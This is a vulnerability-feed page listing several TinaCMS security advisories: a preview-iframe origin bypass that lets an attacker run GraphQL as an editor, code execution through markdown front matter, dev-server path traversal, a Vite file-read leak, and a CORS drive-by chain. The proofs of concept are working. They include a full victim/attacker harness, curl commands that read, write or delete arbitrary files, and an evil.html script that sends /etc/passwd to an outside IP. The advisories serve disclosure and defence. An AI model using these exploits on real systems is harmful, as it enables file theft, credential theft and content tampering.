Where
-Infinity
0
Severity
9.3
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Summary

The TinaCMS admin builds its preview <iframe src> from the /~/ hash-router splat without checking that the value stays same-origin. A fragment with a doubled slash (#/~//attacker.example/p) becomes the protocol-relative URL //attacker.example/p, so the admin frames an external site. That same unvalidated string derives expectedOrigin, the only trust anchor for the admin↔preview postMessage channel, so the attacker's frame is treated as trusted: it can submit any GraphQL operation, which the admin executes with the signed-in editor's token and posts back to the attacker's origin.

One link, opened by a logged-in editor, gives an unauthenticated remote attacker arbitrary read and write access to the site's content API as that editor.

Details

Root cause — the router splat becomes the frame source with no same-origin check:

packages/tinacms/src/admin/index.tsx:16 HashRouter as Router, packages/tinacms/src/admin/index.tsx:329 path='/~/' packages/tinacms/src/admin/index.tsx:173 const [url, setURL] = React.useState(/${params['']}); packages/tinacms/src/admin/index.tsx:176 const paramURL = /${params['']}; packages/@tinacms/app/src/preview.tsx:24 src={props.url}

The leading / is meant to force a relative path, but react-router-dom@6.30.3 returns the splat with its own leading slash for /~//x, producing //x. The iframe has no sandbox attribute and the admin bundle ships no CSP.

The trust anchor is then computed from that same value:

packages/@tinacms/app/src/lib/graphql-reducer.ts:209-212 getExpectedPreviewOrigin(url) packages/@tinacms/app/src/lib/preview-origin.ts:22 return new URL(url, baseOrigin || undefined).origin; packages/@tinacms/app/src/lib/preview-origin.ts:43-46 event.origin !== expectedOrigin -> reject

Both guards pass for the attacker: event.origin is expectedOrigin, and event.source is the frame the admin itself loaded.

PreviewInner's URL-correction poll (packages/tinacms/src/admin/index.tsx:189-200) does not recover the frame: reading ref.current.contentWindow.location.href across origins throws an uncaught SecurityError, so setReportedURL never fires and no corrective navigate() happens. The PoC below includes that effect verbatim and the attack still completes.

Sink — the attacker's GraphQL string reaches the authenticated client, and the result goes back to the attacker:

packages/@tinacms/app/src/lib/graphql-reducer.ts:613-624 'open' handler; zod validates types only, not query content packages/@tinacms/app/src/lib/graphql-reducer.ts:973-978 cms.api.tina.request(expandedQuery, { variables }) packages/@tinacms/app/src/lib/graphql-reducer.ts:497-505 postMessageToPreview(..., expectedOrigin)

expandQuery (packages/@tinacms/app/src/lib/expand-query.ts:3-18) is operation-agnostic, so mutations pass through unchanged.

Default-enabled: packages/@tinacms/app/src/App.tsx:70 always passes preview={Preview}, and packages/tinacms/src/admin/index.tsx:327 registers /~/ whenever preview is truthy — so the route exists in every tinacms build output and in tinacms dev.

Incomplete-fix note: tinacms@3.9.3 / @tinacms/app@2.5.6 (PR #7056, c491fc5) added the sender-side origin check, but never validated the URL that check compares against.

Affected-range basis, stated plainly: I tested only tinacms@3.12.1 / @tinacms/app@2.5.12 (commit 0d38acf). The ranges below are given as <= because the vulnerable lines are byte-identical across every commit available to me — a 123-commit shallow clone, earliest 8a86ffa (2026-06-26), which predates the 3.9.3 hardening release — but I did not fetch tags or test earlier releases, so the true lower bound is undetermined. Please narrow it from your own history.

Suggested fix: normalise the splat to a same-origin path before it becomes url (reject a leading / or \), and have getExpectedPreviewOrigin refuse any origin other than window.location.origin.

PoC

Safe, local, non-destructive. Two loopback origins stand in for the site and the attacker; no traffic leaves the machine and no content API is contacted. The victim page uses the repository's preview-origin.ts byte-for-byte and reproduces PreviewInner/Preview line-for-line from the cited files; cms.api.tina.request is stubbed to return a marker so no real backend is touched.

Environment used: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) driven by playwright@1.49.0.

Setup

bash git clone https://github.com/tinacms/tinacms.git tinacms-poc cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163 REPO=$PWD

mkdir -p /tmp/tina-poc/victim /tmp/tina-poc/attacker && cd /tmp/tina-poc npm init -y >/dev/null npm i --ignore-scripts react@18.3.1 react-dom@18.3.1 react-router-dom@6.30.3 esbuild@0.25.0 playwright@1.49.0

cp "$REPO/packages/@tinacms/app/src/lib/preview-origin.ts" ./preview-origin.ts

victim/admin.tsx — PreviewInner from packages/tinacms/src/admin/index.tsx:170-210, Preview from packages/@tinacms/app/src/preview.tsx:10-26, and the four graphql-reducer.ts steps (:209-212, :548-556, :613-624 + :973-978, :497-505):

tsx import React from 'react'; import { createRoot } from 'react-dom/client'; import { HashRouter as Router, Route, Routes, useNavigate, useParams } from 'react-router-dom'; import { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from '../preview-origin';

const log = (m: string, x?: unknown) => console.log('[victim]', x === undefined ? m : ${m} ${JSON.stringify(x)});

// Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin // this is an authenticated call to the content API with the editor's token. async function tinaRequest(query: string) { log('cms.api.tina.request() called with attacker query', query); return { data: { POCMARKER: 'SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE' } }; }

function useGraphQLReducer(iframe: React.MutableRefObject<HTMLIFrameElement | null>, url: string) { const expectedOrigin = React.useMemo(() => getExpectedPreviewOrigin(url), [url]); // :209-212 React.useEffect(() => { log('expectedOrigin derived from preview url', { url, expectedOrigin }); (window as any).pocexpectedOrigin = expectedOrigin; }, [expectedOrigin, url]);

const handleMessage = React.useCallback(async (event: MessageEvent<any>) => { if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556 if (event.data.type === 'open') { // :613-624 log('ACCEPTED "open" message from', event.origin); const expandedData = await tinaRequest(event.data.query); // :973-978 postMessageToPreview(iframe.current?.contentWindow, { type: 'updateData', id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505 log('posted query result to', expectedOrigin); } }, [expectedOrigin]);

React.useEffect(() => { window.addEventListener('message', handleMessage); return () => window.removeEventListener('message', handleMessage); }, [handleMessage]); }

const Preview = (props: { url: string; iframeRef: React.MutableRefObject<HTMLIFrameElement | null> }) => { useGraphQLReducer(props.iframeRef, props.url); return <iframe data-test='tina-iframe' id='tina-iframe' ref={props.iframeRef} className='h-full w-full bg-white' src={props.url} />; // preview.tsx:24 };

const PreviewInner = ({ preview }: { preview: any }) => { // admin/index.tsx:170-210 const params = useParams(); const navigate = useNavigate(); const [url, setURL] = React.useState(/${params['']}); const [reportedURL, setReportedURL] = React.useState<string | null>(null); const ref = React.useRef<HTMLIFrameElement>(null); const paramURL = /${params['']}; React.useEffect(() => { if (reportedURL !== paramURL && paramURL) setURL(paramURL); }, [paramURL]); React.useEffect(() => { if ((reportedURL !== url || reportedURL !== paramURL) && reportedURL) navigate(/~${reportedURL}); }, [reportedURL]); React.useEffect(() => { // admin/index.tsx:189-200 setInterval(() => { if (ref.current) { const url = new URL(ref.current.contentWindow?.location.href || ''); if (url.origin === 'null') { return; } const href = url.href.replace(url.origin, ''); setReportedURL(href); } }, 100); }, [ref.current]); React.useEffect(() => { log('iframe src computed from router splat', { "params['']": params[''], url }); (window as any).pociframeSrc = url; }, [url]); const PreviewCmp = preview; return <div><PreviewCmp url={url} iframeRef={ref} /></div>; };

createRoot(document.getElementById('root')!).render( <Router> <Routes> <Route path='/~/' element={<PreviewInner preview={Preview} />} /> {/ admin/index.tsx:329 /} <Route path='/' element={<div>admin dashboard</div>} /> </Routes> </Router> );

victim/index.html:

html <!doctype html><html><head><title>TinaCMS admin (repro)</title></head> <body><div id="root"></div><script type="module" src="/admin.js"></script></body></html>

attacker/evil.html:

html <!doctype html><html><body> <h1>attacker-controlled page framed by the TinaCMS admin</h1> <script> parent.postMessage({ type: 'open', id: 'poc-1', query: 'query { collection(collection: "authentication") { documents { edges { node { ... on Document { values } } } } } }', variables: {}, data: {} }, ''); window.addEventListener('message', (e) => { if (e.data && e.data.type === 'updateData') { fetch('/exfil?data=' + encodeURIComponent(JSON.stringify(e.data.data)), { mode: 'no-cors' }); } }); </script></body></html>

run.cjs — serves both origins, logs every attacker-server request, and runs a control fragment and the crafted fragment:

js const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright'); const VICTIMPORT=8801, ATTACKERPORT=8802, HERE=dirname, attackerHits=[]; function serve(dir,port,onHit){const s=http.createServer((req,res)=>{const u=new URL(req.url,http://127.0.0.1:${port}); if(onHit)onHit(req.method+' '+u.pathname+u.search); if(u.pathname.startsWith('/exfil')){res.writeHead(204).end();return;} const f=path.join(dir,u.pathname==='/'?'/index.html':u.pathname); if(!f.startsWith(dir)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;} res.writeHead(200,{'content-type':f.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});res.end(fs.readFileSync(f));}); return new Promise(r=>s.listen(port,'127.0.0.1',()=>r(s)));} (async()=>{const v=await serve(path.join(HERE,'victim'),VICTIMPORT); const a=await serve(path.join(HERE,'attacker'),ATTACKERPORT,h=>attackerHits.push(h)); const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});const results={}; for(const scenario of ['control','attack']){attackerHits.length=0; const ctx=await browser.newContext();const page=await ctx.newPage();const logs=[]; page.on('console',m=>logs.push(m.text())); const hash=scenario==='control'?'#/~/posts/hello-world':#/~//127.0.0.1:${ATTACKERPORT}/evil.html; await page.goto(http://127.0.0.1:${VICTIMPORT}/index.html${hash});await page.waitForTimeout(2500); results[scenario]={hash, iframeSrc:await page.evaluate(()=>window.pociframeSrc), expectedOriginTrustedByAdmin:await page.evaluate(()=>window.pocexpectedOrigin), framesLoaded:page.frames().map(f=>f.url()), attackerServerHits:[...attackerHits], victimConsole:logs.filter(l=>l.startsWith('[victim]'))}; await ctx.close();} await browser.close();v.close();a.close();console.log(JSON.stringify(results,null,2));})();

Run

bash cd /tmp/tina-poc npx esbuild victim/admin.tsx --bundle --outfile=victim/admin.js --format=esm \ --loader:.tsx=tsx --define:process.env.NODEENV='"production"' node run.cjs

Observed output (captured verbatim)

json { "control": { "hash": "#/~/posts/hello-world", "iframeSrc": "/posts/hello-world", "expectedOriginTrustedByAdmin": "http://127.0.0.1:8801", "framesLoaded": [ "http://127.0.0.1:8801/index.html#/~/posts/hello-world", "http://127.0.0.1:8801/posts/hello-world" ], "attackerServerHits": [], "victimConsole": [ "[victim] expectedOrigin derived from preview url {\"url\":\"/posts/hello-world\",\"expectedOrigin\":\"http://127.0.0.1:8801\"}", "[victim] iframe src computed from router splat {\"params['']\":\"posts/hello-world\",\"url\":\"/posts/hello-world\"}" ] }, "attack": { "hash": "#/~//127.0.0.1:8802/evil.html", "iframeSrc": "//127.0.0.1:8802/evil.html", "expectedOriginTrustedByAdmin": "http://127.0.0.1:8802", "framesLoaded": [ "http://127.0.0.1:8801/index.html#/~//127.0.0.1:8802/evil.html", "http://127.0.0.1:8802/evil.html" ], "attackerServerHits": [ "GET /evil.html", "GET /exfil?data=%7B%22POCMARKER%22%3A%22SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE%22%7D" ], "victimConsole": [ "[victim] expectedOrigin derived from preview url {\"url\":\"//127.0.0.1:8802/evil.html\",\"expectedOrigin\":\"http://127.0.0.1:8802\"}", "[victim] iframe src computed from router splat {\"params['']\":\"/127.0.0.1:8802/evil.html\",\"url\":\"//127.0.0.1:8802/evil.html\"}", "[victim] ACCEPTED \"open\" message from \"http://127.0.0.1:8802\"", "[victim] cms.api.tina.request() called with attacker query \"query { collection(collection: \\\"authentication\\\") { documents { edges { node { ... on Document { values } } } } } }\"", "[victim] posted query result to \"http://127.0.0.1:8802\"" ] } }

Expected vulnerable output — in attack: iframeSrc protocol-relative, expectedOriginTrustedByAdmin equal to the attacker's origin, a frame served by the attacker, and both GET /evil.html and GET /exfil?data=... on the attacker server. All held.

Control — #/~/posts/hello-world keeps the frame same-origin, keeps expectedOrigin on the victim origin, and produces zero attacker hits. That is what the crafted fragment should also do once fixed.

Supporting check — attacker mutations survive expandQuery and validate against a real Tina schema

bash mkdir -p /tmp/tina-expand && cd /tmp/tina-expand npm init -y >/dev/null && npm i --ignore-scripts graphql@16.8.1 esbuild@0.25.0 cp "$REPO/packages/@tinacms/app/src/lib/expand-query.ts" ./expand-query.ts cat > t.ts <<'EOF' import as G from 'graphql'; import fs from 'fs'; import { expandQuery } from './expand-query'; const schema = G.buildSchema(fs.readFileSync(process.env.SCHEMA!, 'utf-8')); const ops: Record<string,string> = { READ: query { movieConnection { edges { node { values } } } }, MUTATEUPDATE: mutation { updateDocument(collection: "movie", relativePath: "movie1.json", params: {movie: {title: "pwned"}}) { typename } }, MUTATEDELETE: mutation { deleteDocument(collection: "movie", relativePath: "movie1.json") { typename } }, }; for (const [n, op] of Object.entries(ops)) { const printed = G.print(expandQuery({ schema, documentNode: G.parse(op) })); const errs = G.validate(schema, G.parse(printed)); console.log(--- ${n} ---); console.log('survives expandQuery + validates against the real Tina schema:', errs.length === 0); console.log('operation kept:', (G.parse(printed).definitions[0] as any).operation); } EOF npx esbuild t.ts --bundle --platform=node --outfile=t.cjs --format=cjs >/dev/null SCHEMA="$REPO/packages/@tinacms/graphql/src/spec/movies-with-datalayer/.tina/generated/schema.gql" node t.cjs

Observed output:

--- READ --- survives expandQuery + validates against the real Tina schema: true operation kept: query --- MUTATEUPDATE --- survives expandQuery + validates against the real Tina schema: true operation kept: mutation --- MUTATEDELETE --- survives expandQuery + validates against the real Tina schema: true operation kept: mutation

Supporting check — router splat behaviour

bash mkdir -p /tmp/tina-rr && cd /tmp/tina-rr && npm init -y >/dev/null npm i --ignore-scripts react-router-dom@6.30.3 react@18.3.1 react-dom@18.3.1 cat > t.cjs <<'EOF' const { matchPath } = require('react-router-dom'); for (const p of ['/~/posts/hello','/~//evil.example','/~/%2F%2Fevil.example']) { const s = matchPath({ path: '/~/' }, p)?.params['']; console.log(JSON.stringify(p), '=> params[""] =', JSON.stringify(s), '=> url =', JSON.stringify('/' + s)); } EOF node t.cjs

Observed output:

"/~/posts/hello" => params[""] = "posts/hello" => url = "/posts/hello" "/~//evil.example" => params[""] = "/evil.example" => url = "//evil.example" "/~/%2F%2Fevil.example" => params[""] = "//evil.example" => url = "///evil.example"

Scope of the proof. Executed and observed here: the protocol-relative url, the cross-origin frame load, the attacker origin becoming expectedOrigin, the repository's real isFromTrustedPreviewOrigin accepting the attacker's message, the attacker's operation string reaching the request function, the response being delivered to the attacker's origin, and attacker mutations validating against a repository-provided generated schema. Not executed: a call against a live TinaCloud or self-hosted backend — cms.api.tina.request was stubbed deliberately so the PoC contacts no external service and writes no data.

Cleanup

bash rm -rf /tmp/tina-poc /tmp/tina-expand /tmp/tina-rr

All three PoCs were re-run after this report was drafted; the outputs above are those runs.

Impact

Origin validation error leading to a confused-deputy abuse of the content API. An unauthenticated remote attacker needs only to get a signed-in TinaCMS editor to open one link — the payload lives in the URL fragment, so it never reaches the server or its logs. The attacker then reads anything the editor can read (including, on self-hosted setups, the authentication collection holding PBKDF2 password hashes) and performs any mutation the editor can perform (updateDocument, createDocument, deleteDocument), with results delivered to the attacker's own origin. Two boundaries are crossed: the browser same-origin policy, and the content API's authorization.

Impacted: every deployment serving the TinaCMS admin bundle (tinacms build output or tinacms dev). No configuration disables the /~/ route.

Credits

- Thai Son Dinh from VinSOC Labs (R&D)

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
Code Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary tinacms uses the gray-matter package in an insecure way allowing attackers that can control the content of the processed markdown files, e.g., blog posts, to execute arbitrary code.

Details The gray-matter package executes by default the code in the markdown file's front matter. tinacms does not change this behavior when process markdown file, e.g., by passing a custom engine property for js/javascript in the options object.

PoC 1. Create a tinacms app using the cli/documentation: npx create-tina-app@latest 2. Modify one of the blog posts to contain the following front matter: js ---js { "title": "Pawned" + console.log(require("fs").readFileSync("/etc/passwd").toString()) } --- 3. Start the tinacms server, e.g., with npm run dev 4. Observe the console of the server printing the password file, showing that attackers can execute arbitrary commands.

Impact RCE: attackers can execute arbitrary JavaScript code on the server hosting tinacms.

Feasibility Potential attack scenarios can be executed like this: Companies often have technical writers as contractors. These contractors produce md files, which they send over email or upload in a shared cloud folder. Developers download these files and upload them in tinacms's content folder. While this example might appear speculative or contrived, a general observation is that developers would be very surprised to find out that processing untrusted markdown files via tinacms = server-side code execution = complete machine take over. That is, tinacms users might not expect markdown files to contain anything else than data and gray-matter violates that assumption.

1 / 2
Source: GitHub
First published (updated )
Severity
8.4
Path Traversal
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary The TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.

Details When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:

- /media/list/

- /media/upload/

- /media/

These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.

Vulnerable code bb.on('file', async (name, file, info) => { const fullPath = decodeURI(req.url?.slice('/media/upload/'.length)); const saveTo = path.join(mediaFolder, ...fullPath.split('/')); // No validation that saveTo remains within mediaFolder await fs.ensureDir(path.dirname(saveTo)); file.pipe(fs.createWriteStream(saveTo)); }); PoC Arbitrary File Read curl "http://localhost:4001/media/list/../../../etc/passwd"

Result:

<img width="889" height="280" alt="image(1)" src="https://github.com/user-attachments/assets/a878a86a-71db-46ed-abda-3d4ddba692e0" />

Arbitrary File Write echo "ATTACKERCONTROLLEDCONTENT" > /tmp/payload.txt

curl --path-as-is -X POST \ "http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt" \ -F "file=@/tmp/payload.txt" cat /tmp/pwned.txt Result: <img width="1320" height="84" alt="image(8)" src="https://github.com/user-attachments/assets/8bd5046b-0456-474f-ab96-4e18a421997c" />

Arbitrary File Delete echo "deleteme" > /tmp/delete-test.txt cat /tmp/delete-test.txt # confirms file exists curl --path-as-is -X DELETE \ "http://localhost:4001/media/../../../../../../tmp/delete-test.txt" cat /tmp/delete-test.txt # "No such file or directory" <img width="1135" height="105" alt="image" src="https://github.com/user-attachments/assets/64c24b83-0259-4a12-969d-98c8e8cc81ca" />

Impact

An attacker who can reach the TinaCMS CLI dev server can:

- Read arbitrary files (e.g. /etc/passwd, .env, SSH keys)

- Write arbitrary files anywhere writable by the server process

- Delete or overwrite files, depending on endpoint usage

- Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files

Attack Surface

The dev server binds to localhost by default, but exploitation is realistic in:

- Cloud IDEs (Codespaces, Gitpod)

- Docker or VM setups with port forwarding

- Misconfigured dev environments binding to 0.0.0.0

- Local malware or malicious dependencies

The server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation.

Recommended Fix

- Resolve paths to absolute form

- Enforce that resolved paths remain within the media root

- Reject .. path segments and absolute paths

- Consider authentication or token protection for dev server endpoints

1 / 2
Source: GitHub
First published (updated )
Severity
6.2
Infoleak
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary The TinaCMS CLI dev server configures Vite with server.fs.strict: false, which disables Vite's built-in filesystem access restriction. This allows any unauthenticated attacker who can reach the dev server to read arbitrary files on the host system

Details When running tinacms dev, the CLI starts a Vite dev server configured in: packages/@tinacms/cli/src/next/vite/index.ts server: { host: configManager.config?.build?.host ?? false, ... fs: { strict: false, // Disables Vite's filesystem access restriction }, }, TinaCMS middleware only intercepts specific route prefixes (/media/, /graphql, /altair, /searchIndex). Any request to a path outside these routes falls through to Vite's default static file handler, which will serve the file directly from the absolute path on the filesystem. Additionally, the server enables permissive CORS (cors() with no origin restriction), which may further facilitate browser-based exploitation such as DNS rebinding attacks.

PoC

Prerequisites: TinaCMS CLI dev server running (default port 4001).

- Read system files directly: curl http://localhost:4001/etc/passwd <img width="705" height="332" alt="image" src="https://github.com/user-attachments/assets/6fd0e1c7-a549-40c8-bc81-af9c343f52a0" />

curl http://localhost:4001/etc/hostname <img width="631" height="41" alt="image" src="https://github.com/user-attachments/assets/bd103dc3-d4c3-4774-8007-b55de3fc2a9e" /> Vite resolves and serves the absolute path directly from the filesystem.

Impact Any developer running tinacms dev in an environment where the dev server port is reachable by an attacker. This includes:

- Cloud IDEs (GitHub Codespaces, Gitpod) where ports are automatically forwarded and publicly accessible

- Docker or VM setups with port forwarding configured

- Misconfigured environments binding to 0.0.0.0 via the build.host config option

- Systems targeted via DNS rebinding attacks, leveraging the unrestricted CORS policy

- Local environments with malicious dependencies running on the same machine

An attacker who can reach port 4001 can:

- Read any file readable by the server process (/etc/passwd, /etc/shadow, SSH private keys)

- Exfiltrate environment variables and secrets via /proc/self/environ

- Access cloud credentials and API keys from configuration files

1 / 2
Source: GitHub
First published (updated )
Severity
9.7
Path Traversal, XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Summary The TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: ) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.

Details The TinaCMS dev server sets permissive CORS headers that allow any origin to make cross-origin requests:

- packages/@tinacms/cli/src/server/server.ts: app.use(cors());

- packages/@tinacms/cli/src/next/vite/plugins.ts: server.middlewares.use(cors()); When combined with the path traversal vulnerability, this creates a complete attack chain. Attack Scenario

Prerequisites 1. Developer runs tinacms dev (default port 4001) 2. Developer visits attacker's website while TinaCMS is running

No other conditions required - the dev server doesn't need to be: - Exposed to the internet - Bound to 0.0.0.0 - Accessible outside localhost

Attack Flow 1. Developer starts TinaCMS: tinacms dev 2. Developer browses the web (checking email, social media, etc.) 3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.) 4. Attacker's JavaScript exploits CORS + path traversal to read sensitive files 5. Files are exfiltrated to attacker's server

PoC Attacker's Malicious Website (evil.html): <script> fetch('http://localhost:4001/../../../etc/passwd') .then(r => r.text()) .then(data => { // Exfil via GET const img = new Image(); img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data); }); </script> Demonstration

Step 1: Start TinaCMS dev server bash tinacms dev Server running on http://localhost:4001

Step 2: Host evil.html on attacker server bash python3 -m http.server 8000

Step 3: Developer visits http://attacker-server:8000/evil.html

Result: The browser makes cross-origin requests to localhost:4001. Because cors() returns Access-Control-Allow-Origin: , the browser allows the JavaScript to read the responses. Directory listings from outside the media directory are sent to the attacker's server. <img width="1900" height="366" alt="image" src="https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617" />

Impact Who is affected Every developer running tinacms dev is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.

What an attacker achieves By hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:

1. Enumerate the developer's filesystem directory listings via /media/list/ with path traversal reveal file and folder names across the entire filesystem 2. Discover sensitive files locate .env, .git/config, SSH keys, cloud credentials, database configs 3. Write arbitrary files via /media/upload/ with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts 4. Delete arbitrary files via /media/ DELETE with path traversal

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203